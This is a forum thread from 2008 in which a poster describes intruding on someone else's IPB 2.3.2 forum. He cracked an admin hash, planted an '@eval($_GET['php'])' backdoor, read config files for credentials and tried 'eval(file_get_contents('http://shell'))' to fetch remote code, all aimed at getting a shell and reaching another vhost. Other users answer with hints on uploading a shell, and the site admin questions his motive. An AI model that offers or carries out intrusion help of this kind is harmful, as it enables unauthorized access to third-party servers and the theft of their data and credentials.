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IT Security and Insecurity Portal |
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IPB 2.3.2 help onto getting shell tryed everything I know |
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Posted: Thu Oct 30, 2008 8:22 am |
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_mranderson_ |
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Joined: Oct 30, 2008 |
Posts: 51 |
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So, I have this IPB 2.3.2 forum where I could crack an admin's salted hash using my own md5 cracker (coz mdcrack seems to use the wrong hashing algo). So now I can access the panel, but I need shell on the server coz Im just side-hacking, and what I need is not the forum
What I tried is using the raw php evaluation in the "Add New General Setting" form, the SELECT INTO OUTFILE method and even trying to read any file that could get me access to the server both inside the vhost dir and outside (SELECT load_file()/raw php). But nothing, i don't have file access, or at least not using those methods.
So I was wondering if anyone could help me getting out of this bad situation, or at least give some good hints. ty |
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Posted: Thu Oct 30, 2008 8:26 am |
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pexli |
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Joined: May 24, 2007 |
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Location: Bulgaria |
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Posted: Thu Oct 30, 2008 8:33 am |
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_mranderson_ |
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Joined: Oct 30, 2008 |
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I know that's for php and already read/tried what you posted, but still got nothing. The raw php evaluation seems to not work I get the same errors even when I leave it blank (maybe the forum already got hax0red)..thanks anyways
EDIT: do you know if any other method works like editing templates/skins...? I m trying it but with no success |
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Posted: Thu Oct 30, 2008 8:45 am |
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pexli |
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Joined: May 24, 2007 |
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Location: Bulgaria |
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Try to upload your shell in different directory. |
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Posted: Thu Oct 30, 2008 8:56 am |
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_mranderson_ |
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Joined: Oct 30, 2008 |
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pexli wrote: | Try to upload your shell in different directory. |
seems like I do not have any kind of file access using that raw php code...
I will try to insert the shell code directly as raw php and let you know if it worked... |
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Posted: Thu Oct 30, 2008 9:08 am |
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pexli |
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Joined: May 24, 2007 |
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Location: Bulgaria |
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Best way to try working or not is...
phpinfo(); |
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Posted: Thu Oct 30, 2008 9:14 am |
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_mranderson_ |
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Joined: Oct 30, 2008 |
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it let me read files but I cant find the config is it init.php?
because if I could read the sql password maybe it could match the ftp's
EDIT: ok ok wait I found the way to list files, so I go the config_global.php
wait I ll let you know if I could solve the problem
EDIT: I can read files thru file_get_contents, but I do not have write access to any file inside the httpdocs directory of the vhost nor outside. I can't read files outside that directory, also. I got the config options but it didn't help me get any further access.. even had a look at many custom/not default php files I could find, but I couldn't find any hole in them (or at least nothing more helpful than what I ve already found)
any other hints? |
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Posted: Thu Oct 30, 2008 11:28 am |
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pexli |
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Joined: May 24, 2007 |
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Location: Bulgaria |
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In which directory you try to upload shell?And how? |
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Posted: Thu Oct 30, 2008 12:46 pm |
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_mranderson_ |
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the php path where you can access files is restricted to /tmp and the /httpdocs of the virtual host, I found a way to execute all the php I want even shell functions that are ofc disabled, I can only read files and list directories within the restricted paths using file_get_contents/readfile and other file functions... still I tried using all the write functions to upload/write a shell to any directory in the /httpdocs including that one and in each subdirectory, but it says I do not have access. php version retrieved from phpinfo() is 5.2.6 I found something on milw0rm but it's still useless since you have to write code to a file...
edit: I also tried using include() require() and when I use require I get a blank page, this should mean that it doesn't get executed... also file_get_contents('http://...') works perfectly...
I also tried include()/require() and sleep(9999999); but it just doesn't show up..
another thing I tried is eval(file_get_contents('http://shell')); but it seem to not work... idk |
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Posted: Thu Oct 30, 2008 3:35 pm |
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poly |
Beginner |
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Joined: Oct 30, 2008 |
Posts: 2 |
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I dont get it
When you save your php code in the php raw form does it automatically execute your code or do you have to view some page first |
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Posted: Thu Oct 30, 2008 4:57 pm |
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waraxe |
Site admin |
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Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
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_mranderson_ wrote: | I found a way to execute all the php I want even shell functions that are ofc disabled |
So you have access to shell, right? Now all depends on your UID/GID. But still i don't see the goal you want to achieve. Server rooting? Defacement of one of the vhosts? Defacement of all of the vhosts? Fetching some specific data? What's your motivation there? |
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Posted: Thu Oct 30, 2008 11:42 pm |
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poly |
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Fixed my problem
waraxe you a white hat? |
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Posted: Fri Oct 31, 2008 9:36 am |
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_mranderson_ |
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Joined: Oct 30, 2008 |
Posts: 51 |
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I have used the php raw option to save a specific php that allows me to execute any raw php without saving it each time (it's a simple @eval($_GET['php']).. my goal is to install a shell, or at least run a shell on the server to view/access files on another vhost.. ofc to achieve this I may need priv escalation, but that's another problem (as the shell could help me in this job).. so all I wrote till now concerns my tries to upload/run a shell on the vhost..
EDIT: what is probable is that I ll need priv escalation to upload the shell... so I was asking if anyone knew a method that could help me reaching that goal (maybe even without priv escalation?).. btw I have already used the ipb2.3.5 exploit that you waraxe uploaded to milw0rm, so ty btw, I had a glance at the code an that is very well made nj.. also I found a Code Execution exploit that seems not written by you... but it stops because an IP filter that seems to be not bypassable... |
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Posted: Fri Oct 31, 2008 10:44 am |
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pexli |
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Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
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_mranderson_ i think you doing something wrong and answare to waraxe. |
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Posted: Fri Oct 31, 2008 10:48 am |
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_mranderson_ |
Valuable expert |
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Joined: Oct 30, 2008 |
Posts: 51 |
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well maybe the script dosn't have write access to files but just read... |
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